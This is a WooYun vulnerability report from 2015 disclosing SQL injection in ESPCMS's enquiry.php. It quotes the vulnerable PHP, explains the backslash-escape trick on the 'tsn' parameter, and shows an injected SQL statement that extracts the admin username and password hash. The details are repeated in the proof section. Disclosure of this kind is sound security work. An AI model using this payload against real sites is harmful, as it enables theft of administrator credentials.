当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118799

漏洞标题:espcms最新版sql注入漏洞附分析

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: Xser

提交时间:2015-06-08 11:45

修复时间:2015-09-06 12:28

公开时间:2015-09-06 12:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-08: 细节已通知厂商并且等待厂商处理中
2015-06-08: 厂商已经确认,细节仅向厂商公开
2015-06-11: 细节向第三方安全合作伙伴开放
2015-08-02: 细节向核心白帽子及相关领域专家公开
2015-08-12: 细节向普通白帽子公开
2015-08-22: 细节向实习白帽子公开
2015-09-06: 细节向公众公开

简要描述:

版本信息:V6.4.15.05.20 UTF8 正式版
更新时间:2015-05-21 00:05:12 软件大小:7.67MB

详细说明:

在enquiry.php中

$ptitle = $this->fun->accept('ptitle', 'P');
$tsn = $this->fun->accept('tsn', 'P');
$did = $this->fun->accept('did', 'P');
if (empty($did) || empty($amount) || empty($ptitle)) {
$enquirylink = $this->get_link('enquiry', array(), admin_LNG);
$this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']);
}
if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {
$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);
}
$enquirysn = date('YmdHis') . rand(100, 9999);
$db_table = db_prefix . 'enquiry';
$db_table2 = db_prefix . 'enquiry_info';
$addtime = time();
$db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime';
$db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0";
$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');
$insert_id = $this->db->insert_id();
$db_values = '';
$arraycount = count($did) - 1;
foreach ($did as $key => $value) {
$value = intval($value);
$amount[$key] = intval($amount[$key]);
if ($key == $arraycount) {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";
} else {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";
}
}


这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的
$temp = "wooyun"
$temp[0]的值为w
playload构造:
直接提交$tsn=\
截到的sql语句是

2015/6/7 15:01	INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (31,33,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'')


360截图20150607150751138.jpg


漏洞证明:

在enquiry.php中

$ptitle = $this->fun->accept('ptitle', 'P');
$tsn = $this->fun->accept('tsn', 'P');
$did = $this->fun->accept('did', 'P');
if (empty($did) || empty($amount) || empty($ptitle)) {
$enquirylink = $this->get_link('enquiry', array(), admin_LNG);
$this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']);
}
if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {
$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);
}
$enquirysn = date('YmdHis') . rand(100, 9999);
$db_table = db_prefix . 'enquiry';
$db_table2 = db_prefix . 'enquiry_info';
$addtime = time();
$db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime';
$db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0";
$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');
$insert_id = $this->db->insert_id();
$db_values = '';
$arraycount = count($did) - 1;
foreach ($did as $key => $value) {
$value = intval($value);
$amount[$key] = intval($amount[$key]);
if ($key == $arraycount) {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";
} else {
$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";
}
}


这里会把提交的数据转义,但是当$tsn不是数组的时候是这样的
$temp = "wooyun"
$temp[0]的值为w
playload构造:
直接提交$tsn=\
截到的sql语句是

2015/6/7 15:01	INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (31,33,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'')


360截图20150607150751138.jpg


修复方案:

代码方面你们懂得

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-06-08 12:26

厂商回复:

感谢对此漏洞的提供,我们会尽快修复

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-08 13:05 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    关注一下。